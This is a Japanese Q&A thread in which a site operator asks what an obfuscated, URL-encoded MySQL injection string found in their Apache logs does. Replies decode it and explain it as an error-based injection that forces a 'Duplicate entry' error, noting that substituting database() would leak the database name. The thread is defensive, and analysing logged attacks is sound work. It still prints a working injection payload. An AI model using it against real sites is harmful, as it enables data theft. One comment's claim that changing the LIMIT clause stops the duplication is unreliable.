以下のSQLインジェクションのコードは何をしていますか？

Question

apacheのログでSQLインジェクションのコードを発見しました。
元々は、こうなっていました。
=(%2f**%2fsElEcT+1+%2f**%2ffRoM(%2f**%2fsElEcT+count(),%2f**%2fcOnCaT((%2f**%2fsElEcT(%2f**%2fsElEcT+%2f**%2fuNhEx(%2f**%2fhEx(%2f**%2fcOnCaT(0x217e21,0x4142433134355a5136324457514146504f4959434644,0x217e21))))+%2f**%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2flImIt+0,1),floor(rand(0)2))x+%2f%2ffRoM+information_schema.%2f**%2ftAbLeS+%2f**%2fgRoUp%2f**%2fbY+x)a)

urlデコード等をして展開してみると以下のSQL文となりました。
(
select 1 from(
select count(*),concat(
(
select(
select unhex(
hex(
concat('!!','ABC145ZQ62DWQAFPOIYCFD','!!')
)
)
) from information_schema.tables limit 0,1
),
floor(rand(0)*2)
)
x from information_schema.tables groupby x
)a
)

これが何をしようとしているのかが分かりません。
またSQLの実行をしてもエラーとなりました。展開が間違っているのでしょうか？
エラーとなっていたのはこのあたりで、
x from information_schema.tables groupby x
ここを
from information_schema.tables
というようにxを省けば実行できて1という値が返ってきました。

お手数をおかけしますがご教示願えますでしょうか。

後書き：groupbyはgroup byとすることでエラーは解消されました。
その際、Duplicate entry '!!ABC145ZQ62DWQAFPOIYCFD!!1' for key 'group_key' というエラーメッセージが出ました。

Answer 1

url decoderで溶かすと〜
=(//sElEcT+1+//fRoM(//sElEcT+count(*),//cOnCaT((//sElEcT(//sElEcT+//uNhEx(//hEx(//cOnCaT(0x217e21,0x4142433134355a5136324457514146504f4959434644,0x217e21))))+//fRoM+information_schema.//tAbLeS+//lImIt+0,1),floor(rand(0)*2))x+//fRoM+information_schema.//tAbLeS+//gRoUp//bY+x)a)

=(SELECT 1 FROM(SELECT count(*),CONCAT((SELECT(SELECT UNHEX(HEX(CONCAT(0x217e21,0x4142433134355a5136324457514146504f4959434644,0x217e21)))) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUPBY x)a)

クエリが１箇所間違ってる
GROUPBY -> GROUP BY
この１個を直したらオッケー！

Comments

[harukitchen]

ご回答ありがとうございます。
group byだったのですね。SQLの予約語を覚えておらずお恥ずかしいです。
実行してみると
Duplicate entry '!~!ABC145ZQ62DWQAFPOIYCFD!~!1' for key 'group_key'
というエラーメッセージが出ました。

このSQL文は何をしようとしているかお分かりになりますでしょうか。

[ToniVaquer]

なるほど、ね！
ダブってるっぽい〜
LIMIT 0,1 -> LIMIT 1
で１個だけ出てきますよ

[harukitchen]

ありがとうございます

Answer 2

意図して重複させる（Duplicate entryが出る）SQLになってように思います。
正直この攻撃の意図はわかりませんでした。
他で見るのは
0x217e21,0x4142433134355a5136324457514146504f4959434644,0x217e21
の部分がdatabase()になっているもので、SQLエラーにさせることで現在利用しているDATABASE名を画面に表示させることを狙っています。

Comments

[harukitchen]

ご回答ありがとうございます。
なるほど、他のコードではdatabaseの名前を表示させるものもあるんですね。
気を付けるようにします。